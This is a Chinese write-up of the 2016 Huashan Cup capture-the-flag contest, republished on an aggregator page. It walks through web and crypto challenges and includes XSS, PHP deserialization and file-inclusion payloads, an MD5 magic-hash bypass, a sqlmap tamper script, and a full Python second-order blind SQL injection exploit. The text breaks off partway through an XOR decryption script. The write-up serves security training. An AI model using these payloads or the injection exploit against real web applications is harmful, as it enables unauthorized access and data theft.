Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

2016中国西安“华山杯”WriteUp- SeeSea

0
0

题目打包下载: https://yunpan.cn/ckyrKxHJDPAIN (提取码:bbaf)

Web 1、签到(10)

扫码回复 hs_ctf 拿flag, 套路题。

flag_Xd{hSh_ctf:WelcomeTo2016XiDian&HumenHS}


2016中国西安“华山杯”WriteUp- SeeSea
2、打不过~(50)

打不过绕道走~ http://huashan.xdsec.cn/ctf hs 00b.php

直接将submit按钮改成可点击,然后抓包,发现 str 值为 OGM0MzU1NTc3MTdhMTQ4NTc4ZmQ4MjJhYWVmOTYwNzk= ,拿出来解base64,然后再解一道md5,得到是 1931b ,然后提交 Password=1931b ,得flag: flag_Xd{hSh_ctf:XD_aA@lvmM}


2016中国西安“华山杯”WriteUp- SeeSea
2016中国西安“华山杯”WriteUp- SeeSea
3、系统管理(100)

http://huashan.xdsec.cn/xt 账户:admin 密码:admin 请登陆 首次发包,返回部分源码,是 username 的md5值为0,所以令 username 值为 QNKCDZO 。


2016中国西安“华山杯”WriteUp- SeeSea

然后返回了 user.php ,然后对 user.php 进行发包。看到了新的源码,是一个反序列化漏洞。然后构造 password=a:2:{s:4:"user";b:1;s:4:"pass";b:1;} ,向 index.php 发包。得到flag: flag_Xd{hSh_ctf:kidhvuensl^$} 。


2016中国西安“华山杯”WriteUp- SeeSea
4、简单js(100)

来道js前菜,热身一下吧~ http://huashan.xdsec.cn/jdjs

进去后不能右键源码,其实各种查看源码的法子,例如火狐f12打开firebug,然后源码里就是简单的js而已


2016中国西安“华山杯”WriteUp- SeeSea

在控制台里运行即可得到key值,submit得到flag。或者干脆直接onclick="return check();"去掉

5、弹弹弹!(150)

弹出鱼尾纹!~ http://huashan.xdsec.cn/ctf hs 00a.php

很简单的xss,过滤不严, <BODY ONLOAD=alert('XSS')>

xss,直接构造payload <BODY%2BONLOAD%253Dalert%2528%2527XSS%2527%2529>


2016中国西安“华山杯”WriteUp- SeeSea
6、233(150)

少年,老套路,你都懂得~ http://huashan.xdsec.cn/233/

查看源代码 能看到是JSfuck编码 解码


2016中国西安“华山杯”WriteUp- SeeSea

得到加密后的一句话木马 ┼e exuc整r qeeuts∨ysぴ┩> 解密得到一句话密码 e@syt0g3t 得到 flag_Xd{hSh_ctf:e@syt0g3t}

7、无间道(200)

无间道:放你的人来我这?~ http://huashan.xdsec.cn/upload/index.php

利用“php很烦人”那题得到index.php源码,flag就在其中

正确解法: 一道上传截断题目,过程不多说。直接fuzz %80~%00中间的字符,即可上传成功,得到返回的flag。由于上传删除文件的过程有延时,可能存在竞争上传问题。

8、Mory try

没做出来 看了师傅们的wp 过程大概是 role参数里是两次base64编码,测试后可以注入。使用sqlmap的random user-agent绕过一下,并编写两次base64的tamper:

#!/usr/bin/env python # Copyright (c) 7 team All rights reserved from lib.core.enums import PRIORITY from urllib import urlencode import base64 import urllib __priority__ = PRIORITY.LOW def tamper(payload): retVal = payload retVal = base64.b64encode(retVal) retVal = base64.b64encode(retVal) retVal = urllib.quote(retVal) return retVal

然后就能得到flag flag_xd{hsh_ctf:sql_succeed!}

9、php很烦人(200)

但php仍然是世界上最好的语言 http://huashan.xdsec.cn/php/ 发包,看到源码。

<!-- $user = $_GET["user"]; $file = $_GET["file"]; $pass = $_GET["pass"]; if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){ echo "hello admin!<br>"; include($file); //class.php }else{ echo "you are not admin ! "; } -->

是让传三个参数 user,file,pass ,然后先构造 user=php://input ,post值 the user is admin 。 file=class.php , pass=O:4:"Read":1:{s:4:"file";s:8:"f1a9.php";} 反序列化去读取 f1a9.php 。直接出 flag 。


2016中国西安“华山杯”WriteUp- SeeSea
10 、三秒钟记忆(300)

三秒钟记忆

最近只有三秒钟记忆,忘记的事情总是要一遍一遍的找回来... http://huashan.xdsec.cn/pic

这题也没做出来

也是看了师傅们的wp 二次注入,触发点在密码找回那边。exp:

import requests import base64 import os import random #by mathias@xdsec # Copyright (c) 7 team All rights reserved def regist(usr): flag=False url="http://huashan.*****.cn/pic/index.php?page=login" payload={'name':usr,'pass':'123456','email':'123456','register':'%E6%B3%A8%E5%86%8C'} r=requests.post(url,data=payload) txt=r.text.encode('utf-8') if 'Duplicate' in txt or len(txt)==503: flag=True return flag def reset(usr): flag=False url="http://huashan.*****.cn/pic/index.php?page=login" payload={'name':usr,'reset':'%E5%BF%98%E8%AE%B0%E5%AF%86%E7%A0%81'} r=requests.post(url,data=payload) if len(r.text)==460: flag=True return flag if __name__=="__main__": url="http://huashan.*****.cn/pic/index.php?page=login" flag=False user=str(random.randint(10000000000,99999999999)) p=user+'\' and (select ascii(substr(flag,1,1)) from flag)>50#' flag=regist(user) if not flag: print "regist "+user+" error" os._exit() else: print "regist "+user+" success" flag=regist(p) if not flag: print "regist "+p+" error" os._exit() else: print "regist "+p+" success,now reset password" flag=reset(p) if flag: print "Reset success,now inject" else: print "reset "+p+" error" os._exit() url="http://huashan.*****.cn/pic/index.php?page=login" payload={'name':user,'pass':'123456','login':'%E7%99%BB%E5%BD%95'} r=requests.post(url,data=payload) if len(r.text)==486: print "payload is wrong" else: print "payload is right" 11、疯狂的JS(300)

疯狂的js,老师给我布置了一道js题,作为js小白的我做不到啊,大家帮忙看看吧~

这个也是没做出来的 题在出题过程中可能借鉴了 这里 payload: http://js.xdsec.cn/myajax?a=2.0&b=2.00&c=2.000&d=7&e=762

Crypto 1、紧急报文

解密一下这份截获的密文吧,时间就是机会! FA XX DD AG FF XG FD XG DD DG GA XF FA


2016中国西安“华山杯”WriteUp- SeeSea
2、is it x or z ?

is it x or z ? 100

你可以解密这些残损的文件吗?

明文1和密文1异或得到key 密文2的key从最后个字母f开始循环 异或得到明文2


2016中国西安“华山杯”WriteUp- SeeSea
# -*- coding: cp936 -*- import binascii import struct #每个字节转成hex,0x顺便去掉,对于不足两位的补0 def str2hex(str): hexs = [] for s in str: tmp = (hex(ord(s)).replace('0x','')) if len(tmp) == 2: hexs.append(tmp) else: hexs.append('0'+tmp) return hexs arr = ['0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f'] arr2 = [0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15] def tran(r): for i in range(len(arr)): if r == arr[i]: return arr2[i] f = open('crypt-2.txt','rb') f2 = open('key.txt','rb') hexs = [] hexs2 = [] while True: t = f.readline() t2 = f2.readline() if not t or not t2: break hexs.extend(str2hex(t))

Viewing all articles
Browse latest Browse all 12749